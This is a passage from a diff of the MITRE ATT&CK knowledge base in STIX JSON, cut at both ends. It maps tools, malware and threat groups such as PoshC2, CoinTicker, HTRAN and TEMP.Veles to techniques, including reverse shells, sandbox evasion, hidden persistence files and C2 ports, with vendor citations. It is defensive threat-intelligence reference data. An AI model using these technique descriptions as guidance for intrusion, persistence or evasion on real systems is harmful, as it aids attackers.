"2019-04-23T16:12:37.657Z", + "id": "relationship--60f2ddcf-9b88-4a87-8baf-2777c9c49d39", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:49.023Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) can enumerate files on the local file system and includes a module for enumerating recently accessed files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T16:12:37.664Z", + "id": "relationship--7af39008-1480-4524-b8ce-e285628f61be", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:49.014Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T16:13:59.382Z", + "id": "relationship--27f3f0b2-4743-420d-a4dd-842de6cb9e70", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:34.039Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + }, + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) can use protocols like HTTP/HTTPS for command and control traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T16:22:14.634Z", + "id": "relationship--16e57ad0-b460-41bd-bef0-5bf110d8db8f", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.974Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[HTRAN](https://attack.mitre.org/software/S0040) can inject into into running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T16:24:46.234Z", + "id": "relationship--60a46293-ec9e-4931-8315-03b4f68c2e74", + "source_ref": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e", + "modified": "2019-04-24T20:32:55.121Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "description": "[HTRAN](https://attack.mitre.org/software/S0040) can install a rootkit to hide network connections from the host OS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T16:24:46.251Z", + "id": "relationship--4b14d96b-1664-4072-a49a-3a990a13ca83", + "source_ref": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e", + "modified": "2019-04-24T20:32:55.123Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has repacked a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) to thwart anti-virus detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T18:08:46.205Z", + "id": "relationship--4bc2e50e-0753-497f-9ec0-af270abe2af1", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.712Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) initially downloads a hidden encoded file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T18:41:37.073Z", + "id": "relationship--342502b6-c8fc-4ed5-ba10-209a824b78ed", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "modified": "2019-04-29T21:19:34.918Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) establishes outbound connections for command and control on ports 2280 and 1339.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T18:41:37.094Z", + "id": "relationship--72ede245-96fb-4e82-acbe-0a3966714d06", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "modified": "2019-04-29T21:19:34.952Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) downloads the following hidden files to evade detection and maintain persistence: /private/tmp/.info.enc, /private/tmp/.info.py, /private/tmp/.server.sh, ~/Library/LaunchAgents/.espl.plist, ~/Library/Containers/.[random string]/[random string].", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T18:41:37.108Z", + "id": "relationship--3078d200-79f5-41d1-a0db-afe1501d650a", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "modified": "2019-04-29T21:19:34.971Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) downloads the EggShell mach-o binary using curl, which does not set the quarantine flag.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T18:41:37.112Z", + "id": "relationship--f4eabef1-c66d-45b2-a7c7-6c4cefe4862b", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "modified": "2019-04-29T21:19:34.970Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) executes a bash script to establish a reverse shell and a Python script to download its second stage.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T18:41:37.124Z", + "id": "relationship--7d20cbaf-a154-4192-9a97-ef2662d07246", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "modified": "2019-04-29T21:19:34.972Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) creates user launch agents named .espl.plist and com.apple.[random string].plist to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T18:41:37.127Z", + "id": "relationship--a26b8116-cd88-4f21-9e7c-22a197086973", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "modified": "2019-04-29T21:19:35.002Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) used images embedded into document lures that only activate the payload when a user double clicks to avoid sandboxes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T19:34:17.173Z", + "id": "relationship--6aaf2c92-43a3-42f5-81ab-220c854607b0", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.574Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T20:33:09.435Z", + "id": "relationship--5483c96e-ac0f-4890-b002-7a5c02a8b097", + "source_ref": "course-of-action--83130e62-bca6-4a81-bd4b-8e233bd49db6", + "modified": "2019-07-25T12:26:38.021Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) executes a bash script to establish a reverse shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T20:46:57.154Z", + "id": "relationship--c3e64d41-3fa0-459f-be6f-a39860e4c05c", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "modified": "2019-04-29T21:19:35.015Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) executes a Python script to download its second stage.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T20:46:57.173Z", + "id": "relationship--9a5f9534-a2a4-402e-89bd-d014c2fba224", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "modified": "2019-04-29T21:19:35.027Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) decodes the initially-downloaded hidden encoded file using OpenSSL.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T20:46:57.182Z", + "id": "relationship--a6944696-304c-4813-8285-56275e926f9f", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "modified": "2019-04-29T21:19:35.026Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) checks for virtualization software.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T21:19:10.608Z", + "id": "relationship--5edc2d20-2e9a-4587-9656-dfe38eb1d66d", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "modified": "2019-05-14T17:10:22.006Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "Some versions of [CozyCar](https://attack.mitre.org/software/S0046) will check to ensure it is not being executed inside a virtual machine or a known malware analysis sandbox environment. If it detects that it is, it will exit.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T13:32:25.647Z", + "id": "relationship--8f88490e-346b-4462-b077-0211707c21a3", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "modified": "2019-04-24T23:17:25.197Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "source_name": "F-Secure CozyDuke", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) checks for sandboxing libraries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T13:44:02.099Z", + "id": "relationship--8bbe5f67-f65e-4982-8897-7f7466fc0845", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "modified": "2019-07-26T22:56:58.567Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) obtains a list of running processes through WMI querying.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T15:26:03.558Z", + "id": "relationship--f1eaa7b9-4320-4549-aaa5-f992aad3ae1e", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.558Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[SynAck](https://attack.mitre.org/software/S0242) checks its directory location in an attempt to avoid launching in a sandbox.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T15:28:53.430Z", + "id": "relationship--36b27959-d265-4fb6-b33b-3a1e74d43206", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "modified": "2019-07-26T23:00:57.662Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + }, + { + "source_name": "Kaspersky Lab SynAck May 2018", + "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", + "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used cmd.exe for execution. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T16:33:49.452Z", + "id": "relationship--46e6fd22-1f0b-452c-bcf3-c24fe5911fd4", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.951Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T16:57:19.497Z", + "id": "relationship--85b3c5f7-71ff-4b1d-81e9-62bd75afe7ea", + "source_ref": "course-of-action--2108b914-eee1-45cc-8840-36272b19596a", + "modified": "2019-10-04T21:19:25.009Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T16:59:33.716Z", + "id": "relationship--50818065-cda9-4fe5-ae74-983bb3e436ba", + "source_ref": "course-of-action--46acc565-11aa-40ba-b629-33ba0ab9b07b", + "modified": "2019-10-08T19:54:56.050Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T17:01:10.541Z", + "id": "relationship--6b392dbc-1f55-4eeb-90b5-3f980a01f11d", + "source_ref": "course-of-action--417fed8c-bd76-48b5-90a2-a88882a95241", + "modified": "2019-07-25T11:42:52.305Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T17:02:25.149Z", + "id": "relationship--22d83351-fd06-4731-afcd-d10127bbd4d3", + "source_ref": "course-of-action--e9362d25-4427-446b-99e8-b8f0c3b86615", + "modified": "2019-07-25T12:02:27.183Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T17:03:39.751Z", + "id": "relationship--a4ba7046-2937-4c08-a479-3dd59deba534", + "source_ref": "course-of-action--245075bc-f992-4d89-af8c-834c53d403f4", + "modified": "2019-07-25T12:29:00.042Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can be used to establish persistence using a systemd service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T17:51:44.833Z", + "id": "relationship--ce40b389-c817-4c4a-b19b-ccc1c37e4f99", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:48.041Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has planted webshells on Outlook Exchange servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T19:45:44.177Z", + "id": "relationship--6b1cf025-d38b-4cf4-9595-e6799e522c5b", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.513Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used ports 4444, 8531, and 50501 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T19:45:44.189Z", + "id": "relationship--21b97ace-2b9b-4323-9067-5cf1a595e820", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.553Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used port 443 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T19:45:44.197Z", + "id": "relationship--1ef56254-5eb9-42b9-a714-865c49a8fefd", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.548Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": 